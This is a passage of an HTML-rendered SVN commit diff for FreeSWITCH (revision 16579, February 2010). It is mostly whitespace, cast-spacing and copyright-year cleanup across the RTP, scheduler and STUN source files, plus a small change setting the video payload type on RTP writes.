</span><span class="cx">                         switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_FLUSH);
</span><span class="cx">                         bytes = 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (bytes && bytes < 5) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="lines">@@ -1990,34 +1991,34 @@
</span><span class="cx">                                 const char *my_host;
</span><span class="cx">
</span><span class="cx">                                 char bufa[30], bufb[30], bufc[30];
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->from_addr);
</span><span class="cx">                                 old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
</span><span class="cx">                                 my_host = switch_get_addr(bufc, sizeof(bufc), rtp_session->local_addr);
</span><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_CONSOLE,
</span><del>-                                                                 "R %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
</del><ins>+                                                                 "R %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
</ins><span class="cx">                                                                  switch_channel_get_name(switch_core_session_get_channel(session)),
</span><del>-                                                                 (long)bytes,
</del><ins>+                                                                 (long) bytes,
</ins><span class="cx">                                                                  my_host, switch_sockaddr_get_port(rtp_session->local_addr),
</span><del>-                                                                 old_host, rtp_session->remote_port,
</del><ins>+                                                                 old_host, rtp_session->remote_port,
</ins><span class="cx">                                                                  tx_host, switch_sockaddr_get_port(rtp_session->from_addr),
</span><span class="cx">                                                                  rtp_session->recv_msg.header.pt, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.header.m);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* ignore packets not meant for us unless the auto-adjust window is open */
</span><span class="cx">                 if (bytes) {
</span><span class="cx">                         if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ)) {
</span><span class="cx">                                 if (((rtp_session->cng_pt && rtp_session->recv_msg.header.pt == rtp_session->cng_pt) || rtp_session->recv_msg.header.pt == 13)) {
</span><del>-                                        goto recvfrom;                        
-                                        
-                                }
</del><ins>+                                        goto recvfrom;
+
+                                }
</ins><span class="cx">                         } else if (!switch_cmp_addr(rtp_session->from_addr, rtp_session->remote_addr)) {
</span><del>-                                goto recvfrom;                        
-                                
</del><ins>+                                goto recvfrom;
+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -2032,8 +2033,8 @@
</span><span class="cx">                                         char adj_port[5];
</span><span class="cx">
</span><span class="cx">                                         tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->from_addr);
</span><del>-                                        old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);                        
-        
</del><ins>+                                        old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
+
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
</span><span class="cx">                                                                          "Auto Changing port from %s:%u to %s:%u\n", old_host, old, tx_host,
</span><span class="cx">                                                                          switch_sockaddr_get_port(rtp_session->from_addr));
</span><span class="lines">@@ -2041,7 +2042,7 @@
</span><span class="cx">                                         if (channel) {
</span><span class="cx">                                                 switch_channel_set_variable(channel, "remote_media_ip_reported", switch_channel_get_variable(channel, "remote_media_ip"));
</span><span class="cx">                                                 switch_channel_set_variable(channel, "remote_media_ip", tx_host);
</span><del>-                                                switch_snprintf (adj_port, sizeof(adj_port), "%u", switch_sockaddr_get_port(rtp_session->from_addr));
</del><ins>+                                                switch_snprintf(adj_port, sizeof(adj_port), "%u", switch_sockaddr_get_port(rtp_session->from_addr));
</ins><span class="cx">                                                 switch_channel_set_variable(channel, "remote_media_port_reported", switch_channel_get_variable(channel, "remote_media_port"));
</span><span class="cx">                                                 switch_channel_set_variable(channel, "remote_media_port", adj_port);
</span><span class="cx">                                                 switch_channel_set_variable(channel, "rtp_auto_adjust", "true");
</span><span class="lines">@@ -2055,7 +2056,7 @@
</span><span class="cx">                                 switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (bytes && rtp_session->autoadj_window) {
</span><span class="cx">                         if (--rtp_session->autoadj_window == 0) {
</span><span class="cx">                                 switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</span><span class="lines">@@ -2074,14 +2075,14 @@
</span><span class="cx">
</span><span class="cx">                         if (rtp_session->recv_msg.header.pt && (rtp_session->recv_msg.header.pt == rtp_session->cng_pt || rtp_session->recv_msg.header.pt == 13)) {
</span><span class="cx">                                 return_cng_frame();
</span><del>-                        }
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (!bytes && (io_flags & SWITCH_IO_FLAG_NOBLOCK)) {
</span><span class="cx">                         return_cng_frame();
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (check && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTO_CNG) &&
</span><span class="cx">                         rtp_session->timer.samplecount >= (rtp_session->last_write_samplecount + (rtp_session->samples_per_interval * 50))) {
</span><span class="cx">                         uint8_t data[10] = { 0 };
</span><span class="lines">@@ -2094,15 +2095,14 @@
</span><span class="cx">                 if (check || bytes) {
</span><span class="cx">                         do_2833(rtp_session);
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef ENABLE_ZRTP
</span><span class="cx">                 /* ZRTP Recv */
</span><span class="cx">                 if (bytes) {
</span><span class="cx">                         unsigned int sbytes = (int) bytes;
</span><span class="cx">                         zrtp_status_t stat = 0;
</span><del>-                        
-                        stat = zrtp_process_srtp(rtp_session->zrtp_stream, (void *)&rtp_session->recv_msg, &sbytes);
-                        
</del><ins>+
+                        stat = zrtp_process_srtp(rtp_session->zrtp_stream, (void *) &rtp_session->recv_msg, &sbytes);
+
</ins><span class="cx">                         switch (stat) {
</span><span class="cx">                         case zrtp_status_ok:
</span><span class="cx">                                 bytes = sbytes;
</span><span class="lines">@@ -2120,7 +2120,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (bytes && rtp_session->recv_msg.header.version != 2) {
</span><span class="cx">                         uint8_t *data = (uint8_t *) rtp_session->recv_msg.body;
</span><span class="cx">
</span><span class="lines">@@ -2131,7 +2131,7 @@
</span><span class="cx">                                         handle_stun_ping_reply(rtp_session, (void *) &rtp_session->recv_msg, bytes);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rtp_session->invalid_handler) {
</span><span class="cx">                                 rtp_session->invalid_handler(rtp_session, rtp_session->sock_input, (void *) &rtp_session->recv_msg, bytes, rtp_session->from_addr);
</span><span class="cx">                         }
</span><span class="lines">@@ -2183,7 +2183,6 @@
</span><span class="cx">
</span><span class="cx">                         bytes = sbytes;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_2833
</span><span class="cx">                 if (rtp_session->dtmf_data.in_digit_sanity && !(rtp_session->dtmf_data.in_digit_sanity % 100)) {
</span><span class="cx">                         printf("sanity %d\n", rtp_session->dtmf_data.in_digit_sanity);
</span><span class="lines">@@ -2201,7 +2200,7 @@
</span><span class="cx">                  we put up with as much as we can so we don't have to deal with being punished for
</span><span class="cx">                  doing it right. Nice guys finish last!
</span><span class="cx">                  */
</span><del>-                if (bytes && !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA) &&
</del><ins>+                if (bytes && !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA) &&
</ins><span class="cx">                         !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833) && rtp_session->recv_msg.header.pt == rtp_session->te) {
</span><span class="cx">                         switch_size_t len = bytes - rtp_header_len;
</span><span class="cx">                         unsigned char *packet = (unsigned char *) rtp_session->recv_msg.body;
</span><span class="lines">@@ -2235,8 +2234,8 @@
</span><span class="cx">                                         rtp_session->dtmf_data.in_digit_seq = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-#ifdef DEBUG_2833                        
-                        printf("packet[%d]: %02x %02x %02x %02x\n", (int) len, (unsigned) packet[0],(unsigned)
</del><ins>+#ifdef DEBUG_2833
+                        printf("packet[%d]: %02x %02x %02x %02x\n", (int) len, (unsigned) packet[0], (unsigned)
</ins><span class="cx">                                  packet[1], (unsigned) packet[2], (unsigned) packet[3]);
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="lines">@@ -2244,9 +2243,9 @@
</span><span class="cx">
</span><span class="cx">                                 rtp_session->dtmf_data.in_digit_seq = in_digit_seq;
</span><span class="cx"> #ifdef DEBUG_2833
</span><del>-                                
-                                printf("read: %c %u %u %u %u %d %d %s\n",
-                                         key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq,
</del><ins>+
+                                printf("read: %c %u %u %u %u %d %d %s\n",
+                                         key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq,
</ins><span class="cx">                                          ts, duration, rtp_session->recv_msg.header.m, end, end && !rtp_session->dtmf_data.in_digit_ts ? "ignored" : "");
</span><span class="cx"> #endif
</span><span class="cx">                                 /* only set sanity if we do NOT ignore the packet */
</span><span class="lines">@@ -2257,7 +2256,7 @@
</span><span class="cx">                                 if (rtp_session->dtmf_data.last_duration > duration && rtp_session->dtmf_data.last_duration > 0xFC17 && ts == rtp_session->dtmf_data.in_digit_ts) {
</span><span class="cx">                                         rtp_session->dtmf_data.flip++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (end) {
</span><span class="cx">                                         if (rtp_session->dtmf_data.in_digit_ts) {
</span><span class="cx">                                                 switch_dtmf_t dtmf = { key, duration };
</span><span class="lines">@@ -2272,9 +2271,8 @@
</span><span class="cx">                                                         printf("you're welcome!\n");
</span><span class="cx"> #endif
</span><span class="cx">                                                 }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_2833
</span><del>-                                                printf("done digit=%c ts=%u start_ts=%u dur=%u ddur=%u\n",
</del><ins>+                                                printf("done digit=%c ts=%u start_ts=%u dur=%u ddur=%u\n",
</ins><span class="cx">                                                          dtmf.digit, ts, rtp_session->dtmf_data.in_digit_ts, duration, dtmf.duration);
</span><span class="cx"> #endif
</span><span class="cx">                                                 switch_rtp_queue_rfc2833_in(rtp_session, &dtmf);
</span><span class="lines">@@ -2300,14 +2298,14 @@
</span><span class="cx">                                 rtp_session->dtmf_data.last_duration = duration;
</span><span class="cx">                         } else {
</span><span class="cx"> #ifdef DEBUG_2833
</span><del>-                                printf("drop: %c %u %u %u %u %d %d\n",
</del><ins>+                                printf("drop: %c %u %u %u %u %d %d\n",
</ins><span class="cx">                                          key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq, ts, duration, rtp_session->recv_msg.header.m, end);
</span><span class="cx"> #endif
</span><span class="cx">                                 switch_cond_next();
</span><span class="cx">                                 goto recvfrom;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (rtp_session->dtmf_data.in_digit_ts) {
</span><span class="cx">                         if (!switch_rtp_ready(rtp_session)) {
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -2315,12 +2313,12 @@
</span><span class="cx">                         return_cng_frame();
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        timer_check:
</del><ins>+         timer_check:
</ins><span class="cx">
</span><span class="cx">                 if (do_cng) {
</span><span class="cx">                         uint8_t *data = (uint8_t *) rtp_session->recv_msg.body;
</span><span class="cx">                         int fdr;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((poll_status = switch_poll(rtp_session->read_pollfd, 1, &fdr, 0)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 goto recvfrom;
</span><span class="cx">                         }
</span><span class="lines">@@ -2341,7 +2339,7 @@
</span><span class="cx">                                         switch_cond_next();
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 return_cng_frame();
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2363,7 +2361,7 @@
</span><span class="cx">                 break;
</span><span class="cx">
</span><span class="cx">          do_continue:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!bytes && !rtp_session->timer.interval) {
</span><span class="cx">                         switch_yield(sleep_mss);
</span><span class="cx">                 }
</span><span class="lines">@@ -2530,14 +2528,14 @@
</span><span class="cx"> #ifdef ENABLE_ZRTP
</span><span class="cx">         if (zrtp_on && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV)) {
</span><span class="cx">                 zrtp_session_info_t zrtp_session_info;
</span><del>-                
-                if (rtp_session->zrtp_session && (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info))) {
-                        if (zrtp_session_info.sas_is_ready) {
</del><ins>+
+                if (rtp_session->zrtp_session && (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info))) {
+                        if (zrtp_session_info.sas_is_ready) {
</ins><span class="cx">                                 switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><span class="cx">                                 const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><del>-                                if (uuid) {
</del><ins>+                                if (uuid) {
</ins><span class="cx">                                         switch_core_session_t *other_session;
</span><span class="cx">
</span><span class="cx">                                         if ((other_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -2556,13 +2554,13 @@
</span><span class="cx">                                                                         switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><del>-                                                                        zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
-                                                                                                         &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                                                        zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
+                                                                                                         &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                                                         rtp_session->zrtp_mitm_tries++;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="lines">@@ -2572,7 +2570,6 @@
</span><span class="cx">                         switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                        
</del><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         if (bytes < 0) {
</span><span class="lines">@@ -2649,7 +2646,7 @@
</span><span class="cx">                         rtp_session->ts = (uint32_t) timestamp;
</span><span class="cx">                 } else if (rtp_session->timer.timer_interface) {
</span><span class="cx">                         rtp_session->ts = rtp_session->timer.samplecount;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rtp_session->ts <= rtp_session->last_write_ts) {
</span><span class="cx">                                 rtp_session->ts = rtp_session->last_write_ts + rtp_session->samples_per_interval;
</span><span class="cx">                         }
</span><span class="lines">@@ -2665,13 +2662,12 @@
</span><span class="cx">                         m++;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (rtp_session->timer.interval &&
-                        (rtp_session->timer.samplecount - rtp_session->last_write_samplecount) > rtp_session->samples_per_interval * 10) {
</del><ins>+                if (rtp_session->timer.interval && (rtp_session->timer.samplecount - rtp_session->last_write_samplecount) > rtp_session->samples_per_interval * 10) {
</ins><span class="cx">                         m++;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (!rtp_session->timer.interval &&
-                        ((unsigned)((switch_micro_time_now() - rtp_session->last_write_timestamp))) > (rtp_session->ms_per_packet * 10)) {
</del><ins>+                if (!rtp_session->timer.interval &&
+                        ((unsigned) ((switch_micro_time_now() - rtp_session->last_write_timestamp))) > (rtp_session->ms_per_packet * 10)) {
</ins><span class="cx">                         m++;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -2831,9 +2827,9 @@
</span><span class="cx">                 if (1) {
</span><span class="cx">                         unsigned int sbytes = (int) bytes;
</span><span class="cx">                         zrtp_status_t stat = zrtp_status_fail;
</span><del>-                        
-                        stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void*)send_msg, &sbytes);
</del><span class="cx">
</span><ins>+                        stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void *) send_msg, &sbytes);
+
</ins><span class="cx">                         switch (stat) {
</span><span class="cx">                         case zrtp_status_ok:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -2848,7 +2844,7 @@
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         bytes = sbytes;
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -2857,7 +2853,7 @@
</span><span class="cx">                 {
</span><span class="cx">                         switch_time_t now = switch_time_now();
</span><span class="cx">                         int delta = (int) (now - rtp_session->send_time) / 1000;
</span><del>-                        printf("WRITE %d delta %d\n", (int)bytes, delta);
</del><ins>+                        printf("WRITE %d delta %d\n", (int) bytes, delta);
</ins><span class="cx">                         rtp_session->send_time = now;
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -2875,21 +2871,21 @@
</span><span class="cx">                                 const char *my_host;
</span><span class="cx">
</span><span class="cx">                                 char bufa[30], bufb[30], bufc[30];
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->from_addr);
</span><span class="cx">                                 old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
</span><span class="cx">                                 my_host = switch_get_addr(bufc, sizeof(bufc), rtp_session->local_addr);
</span><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_CONSOLE,
</span><del>-                                                                 "W %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
</del><ins>+                                                                 "W %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
</ins><span class="cx">                                                                  switch_channel_get_name(switch_core_session_get_channel(session)),
</span><del>-                                                                 (long)bytes,
</del><ins>+                                                                 (long) bytes,
</ins><span class="cx">                                                                  my_host, switch_sockaddr_get_port(rtp_session->local_addr),
</span><del>-                                                                 old_host, rtp_session->remote_port,
</del><ins>+                                                                 old_host, rtp_session->remote_port,
</ins><span class="cx">                                                                  tx_host, switch_sockaddr_get_port(rtp_session->from_addr),
</span><span class="cx">                                                                  send_msg->header.pt, ntohl(send_msg->header.ts), send_msg->header.m);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -3004,11 +3000,11 @@
</span><span class="cx">         uint32_t len, ts = 0;
</span><span class="cx">         switch_payload_t payload = 0;
</span><span class="cx">         rtp_msg_t *send_msg = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_rtp_ready(rtp_session) || !rtp_session->remote_addr) {
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><del>-
</del><ins>+        
</ins><span class="cx">         if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
</span><span class="cx">                 switch_size_t bytes;
</span><span class="cx">                 char bufa[30];
</span><span class="lines">@@ -3019,8 +3015,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 bytes = frame->packetlen;
</span><span class="cx">                 tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->remote_addr);
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 send_msg = frame->packet;
</span><span class="cx">
</span><span class="cx">                 if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
</span><span class="lines">@@ -3030,26 +3026,25 @@
</span><span class="cx">                 if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, frame->packet, &bytes) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         return -1;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 rtp_session->stats.outbound.raw_bytes += bytes;
</span><span class="cx">                 rtp_session->stats.outbound.media_bytes += bytes;
</span><span class="cx">                 rtp_session->stats.outbound.media_packet_count++;
</span><span class="cx">                 rtp_session->stats.outbound.packet_count++;
</span><span class="cx">                 return (int) bytes;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef ENABLE_ZRTP
</span><span class="cx">         if (zrtp_on && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND)) {
</span><span class="cx">                 zrtp_session_info_t zrtp_session_info;
</span><span class="cx">
</span><del>-                if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
-                        if (zrtp_session_info.sas_is_ready) {
</del><ins>+                if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) {
+                        if (zrtp_session_info.sas_is_ready) {
</ins><span class="cx">                                 switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><span class="cx">                                 const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><del>-                                if (uuid) {
</del><ins>+                                if (uuid) {
</ins><span class="cx">                                         switch_core_session_t *other_session;
</span><span class="cx">
</span><span class="cx">                                         if ((other_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -3069,8 +3064,8 @@
</span><span class="cx">                                                                         switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><del>-                                                                        zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
-                                                                                                         &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                                                        zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid,
+                                                                                                         &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                                                         rtp_session->zrtp_mitm_tries++;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                                 rtp_session->zrtp_mitm_tries++;
</span><span class="lines">@@ -3093,14 +3088,14 @@
</span><span class="cx">                 if (rtp_session->cng_pt) {
</span><span class="cx">                         payload = rtp_session->cng_pt;
</span><span class="cx">                 } else {
</span><del>-                        return (int)frame->packetlen;
</del><ins>+                        return (int) frame->packetlen;
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 payload = rtp_session->payload;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_test_flag(frame, SFF_RTP_HEADER)) {
</span><del>-                switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame->data, frame->datalen,
</del><ins>+                switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame->data, frame->datalen,
</ins><span class="cx">                                                                                                          frame->m, frame->payload, (uint32_t) (frame->timestamp), &frame->flags);
</span><span class="cx">
</span><span class="cx">                 rtp_session->stats.outbound.raw_bytes += wrote;
</span><span class="lines">@@ -3122,6 +3117,10 @@
</span><span class="cx">                 ts = switch_test_flag(rtp_session, SWITCH_RTP_FLAG_RAW_WRITE) ? (uint32_t) frame->timestamp : 0;
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
+                send_msg->header.pt = rtp_session->payload;
+        }
+
</ins><span class="cx">         return rtp_common_write(rtp_session, send_msg, data, len, payload, ts, &frame->flags);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -3188,9 +3187,9 @@
</span><span class="cx">         if (1) {
</span><span class="cx">                 unsigned int sbytes = (int) bytes;
</span><span class="cx">                 zrtp_status_t stat = zrtp_status_fail;
</span><del>-                
-                stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void*)&rtp_session->write_msg, &sbytes);
-                
</del><ins>+
+                stat = zrtp_process_rtp(rtp_session->zrtp_stream, (void *) &rtp_session->write_msg, &sbytes);
+
</ins><span class="cx">                 switch (stat) {
</span><span class="cx">                 case zrtp_status_ok:
</span><span class="cx">                         break;
</span><span class="lines">@@ -3205,10 +3204,11 @@
</span><span class="cx">                 default:
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 bytes = sbytes;
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><ins>+
</ins><span class="cx">         if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, (void *) &rtp_session->write_msg, &bytes) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 rtp_session->seq--;
</span><span class="cx">                 ret = -1;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_schedulerc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_scheduler.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_scheduler.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_scheduler.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -308,7 +308,7 @@
</span><span class="cx">                 switch_status_t st;
</span><span class="cx">
</span><span class="cx">                 globals.task_thread_running = -1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_join(&st, task_thread_p);
</span><span class="cx">
</span><span class="cx">                 while (globals.task_thread_running) {
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_stunc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_stun.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_stun.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_stun.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -343,7 +343,7 @@
</span><span class="cx">         char *p = ipstr;
</span><span class="cx">
</span><span class="cx">         ip = (switch_stun_ip_t *) attribute->value;
</span><del>-        i = (uint8_t *) &ip->address;
</del><ins>+        i = (uint8_t *) & ip->address;
</ins><span class="cx">         *ipstr = 0;
</span><span class="cx">         for (x = 0; x < 4; x++) {
</span><span class="cx">                 sprintf(p, "%u%s", i[x], x == 3 ? "" : ".");
</span><span class="lines">@@ -386,14 +386,14 @@
</span><span class="cx">         uint8_t *i, x;
</span><span class="cx">         char *p = ipstr;
</span><span class="cx">
</span><del>-        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &packet->first_attribute + ntohs(packet->header.length));
</del><ins>+        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) & packet->first_attribute + ntohs(packet->header.length));
</ins><span class="cx">         attribute->type = htons(SWITCH_STUN_ATTR_MAPPED_ADDRESS);
</span><span class="cx">         attribute->length = htons(8);
</span><span class="cx">         ip = (switch_stun_ip_t *) attribute->value;
</span><span class="cx">
</span><span class="cx">         ip->port = htons(port);
</span><span class="cx">         ip->family = 1;
</span><del>-        i = (uint8_t *) &ip->address;
</del><ins>+        i = (uint8_t *) & ip->address;
</ins><span class="cx">
</span><span class="cx">         for (x = 0; x < 4; x++) {
</span><span class="cx">                 i[x] = (uint8_t) atoi(p);
</span><span class="lines">@@ -415,7 +415,7 @@
</span><span class="cx">         if (ulen % 4 != 0) {
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><del>-        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &packet->first_attribute + ntohs(packet->header.length));
